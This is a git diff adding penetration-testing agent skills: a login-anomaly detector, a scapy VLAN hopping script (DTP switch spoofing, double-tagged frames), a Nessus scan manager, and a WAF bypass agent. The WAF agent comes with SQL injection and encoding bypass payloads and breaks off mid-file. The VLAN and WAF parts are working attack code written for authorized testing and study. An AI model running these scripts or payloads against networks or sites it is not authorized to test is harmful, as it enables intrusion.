print("Install: pip install elasticsearch") + sys.exit(1) + + +EARTH_RADIUS_KM = 6371 + + +def get_es_client(host="https://localhost:9200", api_key=None): + kwargs = {"hosts": [host], "verify_certs": False} + if api_key: + kwargs["api_key"] = api_key + return Elasticsearch(**kwargs) + + +def haversine(lat1, lon1, lat2, lon2): + """Calculate distance in km between two coordinates.""" + lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2]) + dlat = lat2 - lat1 + dlon = lon2 - lon1 + a = math.sin(dlat / 2) ** 2 + math.cos(lat1) * math.cos(lat2) * math.sin(dlon / 2) ** 2 + return EARTH_RADIUS_KM * 2 * math.asin(math.sqrt(a)) + + +def build_user_baselines(es, index="logs-auth-*", days=30): + """Build behavioral baselines from historical authentication data.""" + query = { + "size": 0, + "query": { + "bool": { + "must": [ + {"range": {"@timestamp": {"gte": f"now-{days}d", "lt": "now-1d"}}}, + {"term": {"event.outcome": "success"}}, + ] + } + }, + "aggs": { + "by_user": { + "terms": {"field": "user.name", "size": 5000}, + "aggs": { + "unique_ips": {"cardinality": {"field": "source.ip"}}, + "unique_countries": {"cardinality": {"field": "source.geo.country_name"}}, + "login_hours": {"stats": {"script": "doc['@timestamp'].value.getHour()"}}, + "daily_count": { + "date_histogram": {"field": "@timestamp", "calendar_interval": "day"}, + }, + } + } + }, + } + result = es.search(index=index, body=query) + baselines = {} + for bucket in result["aggregations"]["by_user"]["buckets"]: + user = bucket["key"] + daily_counts = [b["doc_count"] for b in bucket["daily_count"]["buckets"]] + avg_daily = sum(daily_counts) / max(len(daily_counts), 1) + baselines[user] = { + "unique_ips": bucket["unique_ips"]["value"], + "unique_countries": bucket["unique_countries"]["value"], + "avg_login_hour": bucket["login_hours"]["avg"], + "stdev_login_hour": bucket["login_hours"].get("std_deviation", 4), + "avg_daily_logins": round(avg_daily, 1), + "total_logins": bucket["doc_count"], + } + return baselines + + +def detect_impossible_travel(es, index="logs-auth-*", hours=24): + """Detect logins from geographically distant locations within impossible timeframes.""" + query = { + "size": 10000, + "query": { + "bool": { + "must": [ + {"range": {"@timestamp": {"gte": f"now-{hours}h"}}}, + {"term": {"event.outcome": "success"}}, + {"exists": {"field": "source.geo.location"}}, + ] + } + }, + "sort": [{"user.name": "asc"}, {"@timestamp": "asc"}], + } + result = es.search(index=index, body=query) + events_by_user = {} + for hit in result["hits"]["hits"]: + src = hit["_source"] + user = src.get("user", {}).get("name") + if not user: + continue + events_by_user.setdefault(user, []).append({ + "timestamp": src.get("@timestamp"), + "ip": src.get("source", {}).get("ip"), + "lat": src.get("source", {}).get("geo", {}).get("location", {}).get("lat"), + "lon": src.get("source", {}).get("geo", {}).get("location", {}).get("lon"), + "city": src.get("source", {}).get("geo", {}).get("city_name"), + "country": src.get("source", {}).get("geo", {}).get("country_name"), + }) + alerts = [] + for user, events in events_by_user.items(): + for i in range(1, len(events)): + prev, curr = events[i - 1], events[i] + if not all([prev.get("lat"), prev.get("lon"), curr.get("lat"), curr.get("lon")]): + continue + dist = haversine(prev["lat"], prev["lon"], curr["lat"], curr["lon"]) + try: + t1 = datetime.fromisoformat(prev["timestamp"].replace("Z", "+00:00")) + t2 = datetime.fromisoformat(curr["timestamp"].replace("Z", "+00:00")) + hours_diff = (t2 - t1).total_seconds() / 3600 + except (ValueError, TypeError): + continue + if hours_diff <= 0: + continue + speed = dist / hours_diff + if speed > 900 and dist > 500: + alerts.append({ + "user": user, + "from": f"{prev.get('city', '?')}, {prev.get('country', '?')}", + "to": f"{curr.get('city', '?')}, {curr.get('country', '?')}", + "distance_km": round(dist), + "time_hours": round(hours_diff, 2), + "speed_kmh": round(speed), + "prev_time": prev["timestamp"], + "curr_time": curr["timestamp"], + }) + return alerts + + +def detect_off_hours_access(es, baselines, index="logs-auth-*", hours=168): + """Detect logins outside user's normal working hours.""" + query = { + "size": 5000, + "query": { + "bool": { + "must": [ + {"range": {"@timestamp": {"gte": f"now-{hours}h"}}}, + {"term": {"event.outcome": "success"}}, + ] + } + }, + } + result = es.search(index=index, body=query) + alerts = [] + for hit in result["hits"]["hits"]: + src = hit["_source"] + user = src.get("user", {}).get("name") + ts = src.get("@timestamp", "") + if not user or user not in baselines: + continue + try: + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + except (ValueError, TypeError): + continue + hour = dt.hour + baseline = baselines[user] + avg_hour = baseline.get("avg_login_hour", 12) + stdev = baseline.get("stdev_login_hour", 4) + if avg_hour and stdev: + if hour < (avg_hour - 2 * stdev) or hour > (avg_hour + 2 * stdev): + if hour < 6 or hour > 22 or dt.weekday() >= 5: + alerts.append({ + "user": user, + "timestamp": ts, + "login_hour": hour, + "baseline_avg": round(avg_hour, 1), + "weekend": dt.weekday() >= 5, + "ip": src.get("source", {}).get("ip"), + }) + return alerts + + +def calculate_risk_scores(impossible_travel, off_hours, baselines): + """Aggregate anomalies into composite risk scores per user.""" + scores = {} + for alert in impossible_travel: + user = alert["user"] + scores.setdefault(user, {"risk": 0, "anomalies": []}) + scores[user]["risk"] += 40 + scores[user]["anomalies"].append(f"Impossible travel: {alert['from']} -> {alert['to']}") + for alert in off_hours: + user = alert["user"] + scores.setdefault(user, {"risk": 0, "anomalies": []}) + scores[user]["risk"] += 20 + scores[user]["anomalies"].append(f"Off-hours login at {alert['login_hour']}:00") + sorted_users = sorted(scores.items(), key=lambda x: -x[1]["risk"]) + return sorted_users + + +def print_report(travel_alerts, offhours_alerts, risk_scores): + print("UEBA ANOMALY REPORT") + print("=" * 50) + print(f"Date: {datetime.now().isoformat()}") + print(f"Impossible Travel Alerts: {len(travel_alerts)}") + print(f"Off-Hours Access Alerts: {len(offhours_alerts)}") + print(f"\nTOP RISK USERS:") + for user, data in risk_scores[:10]: + print(f" {user:20s} Risk: {data['risk']:>5}") + for a in data["anomalies"][:3]: + print(f" - {a}") + + +if __name__ == "__main__": + host = sys.argv[1] if len(sys.argv) > 1 else "https://localhost:9200" + es = get_es_client(host) + baselines = build_user_baselines(es) + travel = detect_impossible_travel(es) + offhours = detect_off_hours_access(es, baselines) + risk = calculate_risk_scores(travel, offhours, baselines) + print_report(travel, offhours, risk) diff --git a/skills/performing-vlan-hopping-attack/LICENSE b/skills/performing-vlan-hopping-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-vlan-hopping-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-vlan-hopping-attack/references/api-reference.md b/skills/performing-vlan-hopping-attack/references/api-reference.md new file mode 100644 index 00000000..1b94369e --- /dev/null +++ b/skills/performing-vlan-hopping-attack/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: VLAN Hopping Attack Agent + +## Overview + +Tests VLAN segmentation effectiveness using scapy for DTP switch spoofing and 802.1Q double-tagging attacks in authorized penetration testing environments. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| scapy | >= 2.5 | Packet crafting for DTP and Dot1Q frames | +| subprocess | stdlib | Interface management and modprobe | + +## Core Functions + +### `listen_for_dtp(iface, timeout)` +Sniffs for DTP frames on the interface to detect trunk negotiation capability. +- **Returns**: `dict` with `dtp_frames_received`, `dtp_active`, `details` + +### `listen_for_cdp_lldp(iface, timeout)` +Captures CDP and LLDP discovery frames to identify the connected switch. +- **Returns**: `dict` with `frames` and `switch_discovered` + +### `send_dtp_desirable(iface, count)` +Sends DTP desirable frames to negotiate a trunk link on an access port. +- **Protocol**: DTP multicast to `01:00:0c:cc:cc:cc` +- **Returns**: `dict` with `frames_sent`, `type` + +### `create_vlan_interface(iface, vlan_id, ip_addr)` +Creates 802.1Q VLAN subinterface after successful trunk negotiation. +- **Requires**: `8021q` kernel module +- **Returns**: `dict` with `vlan_interface`, `vlan_id`, `ip` + +### `send_double_tagged(iface, outer_vlan, inner_vlan, target_ip)` +Crafts and sends double-tagged 802.1Q frames for VLAN hopping. +- **Note**: Unidirectional attack - no return traffic expected +- **Returns**: `dict` with VLAN IDs and target + +### `cleanup_vlan_interfaces(iface, vlan_ids)` +Removes VLAN subinterfaces created during testing. + +### `run_assessment(iface, target_vlans, target_ips)` +Full assessment: DTP listening, switch spoofing, double tagging, cleanup. + +## Scapy Layers Used + +| Layer | Purpose | +|-------|---------| +| `Ether` | Ethernet frame construction | +| `Dot1Q` | 802.1Q VLAN tagging (single and double) | +| `LLC/SNAP` | DTP frame encapsulation | +| `IP/ICMP` | Test payload for VLAN reachability | + +## Requirements + +- Root/sudo privileges for raw packet operations +- Monitor mode or promiscuous mode capable interface +- Authorization for target network testing + +## Usage + +```bash +sudo python agent.py eth0 +``` diff --git a/skills/performing-vlan-hopping-attack/scripts/agent.py b/skills/performing-vlan-hopping-attack/scripts/agent.py new file mode 100644 index 00000000..c3eac3de --- /dev/null +++ b/skills/performing-vlan-hopping-attack/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""VLAN hopping assessment agent using scapy for DTP and double-tagging tests.""" + +import subprocess +import sys +import os +import json +from datetime import datetime + +try: + from scapy.all import ( + Ether, Dot1Q, IP, ICMP, sendp, sniff, get_if_hwaddr, + conf, LLC, SNAP, Raw + ) +except ImportError: + print("Install: pip install scapy") + sys.exit(1) + + +def get_interface_info(iface="eth0"): + """Get network interface details.""" + mac = get_if_hwaddr(iface) + result = subprocess.run( + ["ip", "link", "show", iface], capture_output=True, text=True + ) + return {"interface": iface, "mac": mac, "status": result.stdout.strip()} + + +def check_vlan_config(iface="eth0"): + """Check current VLAN configuration on the interface.""" + vlan_config = None + try: + with open("/proc/net/vlan/config", "r") as f: + vlan_config = f.read() + except FileNotFoundError: + pass + return {"vlan_config": vlan_config} + + +def listen_for_dtp(iface="eth0", timeout=30): + """Listen for DTP frames to assess trunk negotiation status.""" + dtp_frames = [] + def dtp_handler(pkt): + if pkt.haslayer(LLC): + dtp_frames.append({ + "src": pkt[Ether].src, + "dst": pkt[Ether].dst, + "time": str(datetime.now()), + }) + sniff(iface=iface, filter="ether dst 01:00:0c:cc:cc:cc", + prn=dtp_handler, timeout=timeout, store=0) + return { + "dtp_frames_received": len(dtp_frames), + "dtp_active": len(dtp_frames) > 0, + "details": dtp_frames, + } + + +def listen_for_cdp_lldp(iface="eth0", timeout=60): + """Capture CDP/LLDP frames to discover switch information.""" + discovery_frames = [] + def handler(pkt): + discovery_frames.append({ + "src": pkt[Ether].src, + "type": hex(pkt[Ether].type) if pkt[Ether].type else "LLC", + "time": str(datetime.now()), + "length": len(pkt), + }) + sniff(iface=iface, + filter="ether proto 0x88cc or (ether dst 01:00:0c:cc:cc:cc)", + prn=handler, timeout=timeout, store=0) + return {"frames": discovery_frames, "switch_discovered": len(discovery_frames) > 0} + + +def send_dtp_desirable(iface="eth0", count=10): + """Send DTP desirable frames to attempt trunk negotiation.""" + mac = get_if_hwaddr(iface) + dtp_frame = ( + Ether(dst="01:00:0c:cc:cc:cc", src=mac) / + LLC(dsap=0xAA, ssap=0xAA, ctrl=3) / + SNAP(OUI=0x00000C, code=0x2004) / + Raw(load=bytes([ + 0x00, 0x01, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x05, 0x03, + 0x00, 0x03, 0x00, 0x05, 0xA5, + 0x00, 0x04, 0x00, 0x0A, + ]) + bytes.fromhex(mac.replace(":", ""))) + ) + sendp(dtp_frame, iface=iface, count=count, inter=1, verbose=False) + return {"frames_sent": count, "type": "DTP Desirable", "interface": iface} + + +def create_vlan_interface(iface, vlan_id, ip_addr): + """Create a VLAN subinterface.""" + subprocess.run(["modprobe", "8021q"], capture_output=True) + vlan_iface = f"{iface}.{vlan_id}" + subprocess.run( + ["ip", "link", "add", "link", iface, "name", vlan_iface, + "type", "vlan", "id", str(vlan_id)], + capture_output=True + ) + subprocess.run( + ["ip", "addr", "add", f"{ip_addr}/24", "dev", vlan_iface], + capture_output=True + ) + subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True) + return {"vlan_interface": vlan_iface, "vlan_id": vlan_id, "ip": ip_addr} + + +def send_double_tagged(iface, outer_vlan, inner_vlan, target_ip): + """Send double-tagged 802.1Q frames for VLAN hopping.""" + mac = get_if_hwaddr(iface) + pkt = ( + Ether(dst="ff:ff:ff:ff:ff:ff", src=mac) / + Dot1Q(vlan=outer_vlan) / + Dot1Q(vlan=inner_vlan) / + IP(dst=target_ip, src=f"10.10.{inner_vlan}.99") / + ICMP(type=8) + ) + sendp(pkt, iface=iface, count=5, inter=1, verbose=False) + return { + "type": "Double Tagged", + "outer_vlan": outer_vlan, + "inner_vlan": inner_vlan, + "target_ip": target_ip, + "note": "Unidirectional - no responses expected", + } + + +def cleanup_vlan_interfaces(iface, vlan_ids): + """Remove VLAN subinterfaces created during testing.""" + removed = [] + for vid in vlan_ids: + vlan_iface = f"{iface}.{vid}" + result = subprocess.run( + ["ip", "link", "del", vlan_iface], capture_output=True + ) + removed.append({"interface": vlan_iface, "success": result.returncode == 0}) + return removed + + +def run_assessment(iface="eth0", target_vlans=None, target_ips=None): + """Run full VLAN hopping assessment.""" + if target_vlans is None: + target_vlans = [10, 20] + if target_ips is None: + target_ips = {10: "10.10.10.1", 20: "10.10.20.1"} + report = { + "timestamp": datetime.now().isoformat(), + "interface": get_interface_info(iface), + "tests": [], + } + dtp_listen = listen_for_dtp(iface, timeout=15) + report["tests"].append({"test": "DTP Listening", "result": dtp_listen}) + dtp_send = send_dtp_desirable(iface) + report["tests"].append({"test": "DTP Switch Spoofing", "result": dtp_send}) + for vlan_id in target_vlans: + ip = target_ips.get(vlan_id, f"10.10.{vlan_id}.1") + dt_result = send_double_tagged(iface, 1, vlan_id, ip) + report["tests"].append({"test": f"Double Tagging VLAN {vlan_id}", "result": dt_result}) + cleanup_vlan_interfaces(iface, target_vlans) + return report + + +def print_report(report): + print("VLAN Hopping Assessment Report") + print("=" * 50) + print(f"Date: {report['timestamp']}") + print(f"Interface: {report['interface']['interface']} ({report['interface']['mac']})") + for test in report["tests"]: + print(f"\n--- {test['test']} ---") + for k, v in test["result"].items(): + print(f" {k}: {v}") + + +if __name__ == "__main__": + iface = sys.argv[1] if len(sys.argv) > 1 else "eth0" + result = run_assessment(iface) + print_report(result) diff --git a/skills/performing-vulnerability-scanning-with-nessus/LICENSE b/skills/performing-vulnerability-scanning-with-nessus/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-vulnerability-scanning-with-nessus/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md b/skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md new file mode 100644 index 00000000..94b456dc --- /dev/null +++ b/skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Vulnerability Scanning with Nessus Agent + +## Overview + +Manages Tenable Nessus vulnerability scans via the REST API: scan creation, launch, monitoring, result analysis, and CSV/PDF export. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| requests | >= 2.28 | HTTP client for Nessus REST API | +| urllib3 | >= 1.26 | TLS warning suppression | + +## NessusAPI Class + +### Constructor + +```python +NessusAPI(url="https://localhost:8834", access_key=None, secret_key=None) +``` + +Authentication via `X-ApiKeys` header with access/secret key pair. + +### Methods + +| Method | Description | Returns | +|--------|-------------|---------| +| `get_server_status()` | Check Nessus server readiness | `dict` | +| `list_scans()` | List all scans with id, name, status | `list[dict]` | +| `get_scan_details(scan_id)` | Full scan results with severity counts and top vulns | `dict` | +| `create_scan(name, targets, policy_id, template)` | Create new scan configuration | `dict` | +| `launch_scan(scan_id)` | Start a configured scan | `dict` | +| `get_scan_status(scan_id)` | Poll scan status | `str` | +| `wait_for_scan(scan_id, poll_interval, timeout)` | Block until scan completes | `bool` | +| `export_scan(scan_id, fmt)` | Export results as csv, html, or pdf | `bytes` | +| `check_auth_status(scan_id)` | Verify authenticated scanning via plugin 19506 | `list[dict]` | + +## Nessus REST API Endpoints + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| `/server/status` | GET | Server health check | +| `/scans` | GET | List all scans | +| `/scans` | POST | Create new scan | +| `/scans/{id}` | GET | Scan details and results | +| `/scans/{id}/launch` | POST | Launch scan | +| `/scans/{id}/export` | POST | Initiate report export | +| `/scans/{id}/export/{file_id}/download` | GET | Download exported report | +| `/editor/scan/templates` | GET | Available scan templates | + +## Environment Variables + +| Variable | Required | Description | +|----------|----------|-------------| +| `NESSUS_URL` | No | Nessus server URL (default: https://localhost:8834) | +| `NESSUS_ACCESS_KEY` | Yes | API access key | +| `NESSUS_SECRET_KEY` | Yes | API secret key | + +## Severity Mapping + +| Value | Label | CVSS Range | +|-------|-------|------------| +| 4 | Critical | 9.0-10.0 | +| 3 | High | 7.0-8.9 | +| 2 | Medium | 4.0-6.9 | +| 1 | Low | 0.1-3.9 | +| 0 | Info | N/A | + +## Usage + +```bash +export NESSUS_ACCESS_KEY="your-access-key" +export NESSUS_SECRET_KEY="your-secret-key" +python agent.py +``` diff --git a/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py b/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py new file mode 100644 index 00000000..a3aef463 --- /dev/null +++ b/skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""Vulnerability scanning agent using the Nessus REST API.""" + +import json +import sys +import time +import os +import urllib3 + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +class NessusAPI: + def __init__(self, url="https://localhost:8834", access_key=None, secret_key=None): + self.url = url.rstrip("/") + self.session = requests.Session() + self.session.verify = False + if access_key and secret_key: + self.session.headers.update({ + "X-ApiKeys": f"accessKey={access_key}; secretKey={secret_key}" + }) + + def _get(self, endpoint): + resp = self.session.get(f"{self.url}{endpoint}") + resp.raise_for_status() + return resp.json() + + def _post(self, endpoint, data=None): + resp = self.session.post(f"{self.url}{endpoint}", json=data) + resp.raise_for_status() + return resp.json() + + def _put(self, endpoint, data=None): + resp = self.session.put(f"{self.url}{endpoint}", json=data) + resp.raise_for_status() + return resp.json() + + def get_server_status(self): + return self._get("/server/status") + + def list_scans(self): + data = self._get("/scans") + scans = [] + for scan in data.get("scans", []): + scans.append({ + "id": scan["id"], "name": scan["name"], + "status": scan["status"], + "folder_id": scan.get("folder_id"), + }) + return scans + + def get_scan_details(self, scan_id): + data = self._get(f"/scans/{scan_id}") + info = data.get("info", {}) + hosts = data.get("hosts", []) + vulns = data.get("vulnerabilities", []) + return { + "scan_id": scan_id, + "name": info.get("name"), + "status": info.get("status"), + "host_count": info.get("hostcount", len(hosts)), + "targets": info.get("targets"), + "start_time": info.get("scanner_start"), + "end_time": info.get("scanner_end"), + "policy": info.get("policy"), + "severity_counts": { + "critical": sum(1 for v in vulns if v.get("severity") == 4), + "high": sum(1 for v in vulns if v.get("severity") == 3), + "medium": sum(1 for v in vulns if v.get("severity") == 2), + "low": sum(1 for v in vulns if v.get("severity") == 1), + "info": sum(1 for v in vulns if v.get("severity") == 0), + }, + "vulnerabilities": [ + { + "plugin_id": v["plugin_id"], + "name": v["plugin_name"], + "severity": v["severity"], + "count": v["count"], + "family": v.get("plugin_family"), + } + for v in sorted(vulns, key=lambda x: -x.get("severity", 0))[:50] + ], + } + + def create_scan(self, name, targets, policy_id=None, template="advanced"): + templates = self._get("/editor/scan/templates") + template_uuid = None + for t in templates.get("templates", []): + if t["name"] == template: + template_uuid = t["uuid"] + break + if not template_uuid: + template_uuid = templates["templates"][0]["uuid"] + scan_config = { + "uuid": template_uuid, + "settings": { + "name": name, + "text_targets": targets, + "launch_now": False, + }, + } + if policy_id: + scan_config["settings"]["policy_id"] = policy_id + return self._post("/scans", scan_config) + + def launch_scan(self, scan_id): + return self._post(f"/scans/{scan_id}/launch") + + def get_scan_status(self, scan_id): + data = self._get(f"/scans/{scan_id}") + return data.get("info", {}).get("status", "unknown") + + def wait_for_scan(self, scan_id, poll_interval=30, timeout=7200): + elapsed = 0 + while elapsed < timeout: + status = self.get_scan_status(scan_id) + if status == "completed": + return True + if status in ("canceled", "aborted"): + return False + time.sleep(poll_interval) + elapsed += poll_interval + return False + + def export_scan(self, scan_id, fmt="csv"): + data = self._post(f"/scans/{scan_id}/export", {"format": fmt}) + file_id = data.get("file") + if not file_id: + return None + while True: + status = self._get(f"/scans/{scan_id}/export/{file_id}/status") + if status.get("status") == "ready": + break + time.sleep(5) + resp = self.session.get(f"{self.url}/scans/{scan_id}/export/{file_id}/download") + return resp.content + + def check_auth_status(self, scan_id): + """Check if authenticated scanning succeeded per host.""" + data = self._get(f"/scans/{scan_id}") + auth_results = [] + for host in data.get("hosts", []): + host_id = host["host_id"] + host_detail = self._get(f"/scans/{scan_id}/hosts/{host_id}") + auth_info = None + for vuln in host_detail.get("vulnerabilities", []): + if vuln["plugin_id"] == 19506: + auth_info = vuln + break + auth_results.append({ + "hostname": host.get("hostname"), + "host_id": host_id, + "critical": host.get("critical", 0), + "high": host.get("high", 0), + "authenticated": auth_info is not None, + }) + return auth_results + + +def print_scan_report(details): + print("Vulnerability Scan Report") + print("=" * 50) + print(f"Scan: {details['name']}") + print(f"Status: {details['status']}") + print(f"Hosts: {details['host_count']}") + print(f"Targets: {details['targets']}") + sev = details["severity_counts"] + print(f"\nSeverity Summary:") + print(f" Critical: {sev['critical']}") + print(f" High: {sev['high']}") + print(f" Medium: {sev['medium']}") + print(f" Low: {sev['low']}") + print(f" Info: {sev['info']}") + print(f"\nTop Vulnerabilities:") + for v in details["vulnerabilities"][:15]: + sev_label = {4: "CRIT", 3: "HIGH", 2: "MED", 1: "LOW", 0: "INFO"}.get(v["severity"], "?") + print(f" [{sev_label}] {v['name']} (plugin {v['plugin_id']}, count: {v['count']})") + + +if __name__ == "__main__": + nessus_url = os.environ.get("NESSUS_URL", "https://localhost:8834") + access_key = os.environ.get("NESSUS_ACCESS_KEY", "") + secret_key = os.environ.get("NESSUS_SECRET_KEY", "") + api = NessusAPI(nessus_url, access_key, secret_key) + scans = api.list_scans() + if scans: + details = api.get_scan_details(scans[0]["id"]) + print_scan_report(details) + else: + print("No scans found. Create one with api.create_scan()") diff --git a/skills/performing-web-application-firewall-bypass/LICENSE b/skills/performing-web-application-firewall-bypass/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-web-application-firewall-bypass/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-web-application-firewall-bypass/references/api-reference.md b/skills/performing-web-application-firewall-bypass/references/api-reference.md new file mode 100644 index 00000000..9d1f7fc6 --- /dev/null +++ b/skills/performing-web-application-firewall-bypass/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: WAF Bypass Testing + +## Encoding Bypass Techniques + +| Technique | Example | Description | +|-----------|---------|-------------| +| URL Encoding | `%3Cscript%3E` | Single URL encode | +| Double Encoding | `%253Cscript%253E` | Double URL encode | +| Unicode/Fullwidth | `\uff1cscript\uff1e` | Unicode replacement | +| HTML Entities | `<script>` | Hex HTML entities | +| Null Byte | `%00` insertion | Terminate string parsing | +| Tab/Newline | `scr\tipt` | Whitespace insertion | + +## SQLi WAF Bypass Techniques + +| Technique | Payload Pattern | +|-----------|----------------| +| Inline Comment | `1'/**/OR/**/1=1--` | +| Version Comment | `1'/*!50000OR*/1=1--` | +| Case Variation | `1' oR 1=1--` | +| Hex Encoding | `0x313d31` | +| Buffer Overflow | Long padding before payload | +| Content-Type Switch | Send as `application/json` | + +## HTTP Method Bypass + +| Method | WAF Behavior | +|--------|-------------| +| GET/POST | Usually inspected | +| PUT/PATCH/DELETE | Often not inspected | +| OPTIONS | Typically bypasses rules | + +## WAF Detection Indicators + +| Response | Meaning | +|----------|---------| +| 403 Forbidden | Request blocked by WAF | +| 406 Not Acceptable | Content rejected | +| 429 Too Many Requests | Rate limited | +| Custom error page | WAF vendor-specific block | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP request sending | +| `urllib.parse` | stdlib | URL encoding/double encoding | + +## References + +- OWASP WAF Bypass: https://owasp.org/www-community/attacks/WAF_Bypass +- PortSwigger WAF Bypass: https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings +- PayloadsAllTheThings WAF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/WAF%20Bypass diff --git a/skills/performing-web-application-firewall-bypass/scripts/agent.py b/skills/performing-web-application-firewall-bypass/scripts/agent.py new file mode 100644 index 00000000..74371172 --- /dev/null +++ b/skills/performing-web-application-firewall-bypass/scripts/agent.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +"""Agent for testing WAF bypass techniques. + +Sends encoded, obfuscated, and protocol-level bypass payloads +against a target URL to identify WAF evasion weaknesses in +XSS, SQLi, and path traversal filtering. +""" + +import requests +import json +import sys +import urllib.parse +from datetime import datetime + + +class WAFBypassAgent: + """Tests web application firewall bypass techniques.""" + + def __init__(self, target_url): + self.target_url = target_url + self.session = requests.Session() + self.findings = [] + + def _send(self, payload, param="q", method="GET", headers=None): + try: + if method == "GET": + resp = self.session.get( + self.target_url, params={param: payload}, + headers=headers or {}, timeout=10, allow_redirects=False) + else: + resp = self.session.post( + self.target_url, data={param: payload}, + headers=headers or {}, timeout=10, allow_redirects=False) + return {"status": resp.status_code, "length": len(resp.text), + "blocked": resp.status_code in (403, 406, 429, 501)} + except requests.RequestException as exc: + return {"error": str(exc)} + + def test_encoding_bypasses(self, base_payload=""): + """Test URL encoding, double encoding, and Unicode bypasses.""" + encodings = { + "plain": base_payload, + "url_encoded": urllib.parse.quote(base_payload), + "double_encoded": urllib.parse.quote(urllib.parse.quote(base_payload)), + "hex_entities": "".join(f"&#x{ord(c):02x};" for c in base_payload), + "unicode_fullwidth": base_payload.replace("<", "\uff1c").replace(">", "\uff1e"), + "null_byte": base_payload[:7] + "%00" + base_payload[7:], + "tab_insert": base_payload.replace("script", "scr\tipt"), + "newline_insert": base_payload.replace("script", "scr\nipt"), + } + results = [] + for name, payload in encodings.items(): + resp = self._send(payload) + bypassed = not resp.get("blocked", True) and not resp.get("error") + if bypassed: + self.findings.append({"type": "Encoding Bypass", "technique": name, + "severity": "High"}) + results.append({"technique": name, "blocked": resp.get("blocked"), + "status": resp.get("status")}) + return results + + def test_sqli_bypasses(self): + """Test SQL injection WAF bypass techniques.""" + payloads = { + "inline_comment": "1'/**/OR/**/1=1--", + "version_comment": "1'/*!50000OR*/1=1--", + "case_variation": "1' oR 1=1--", + 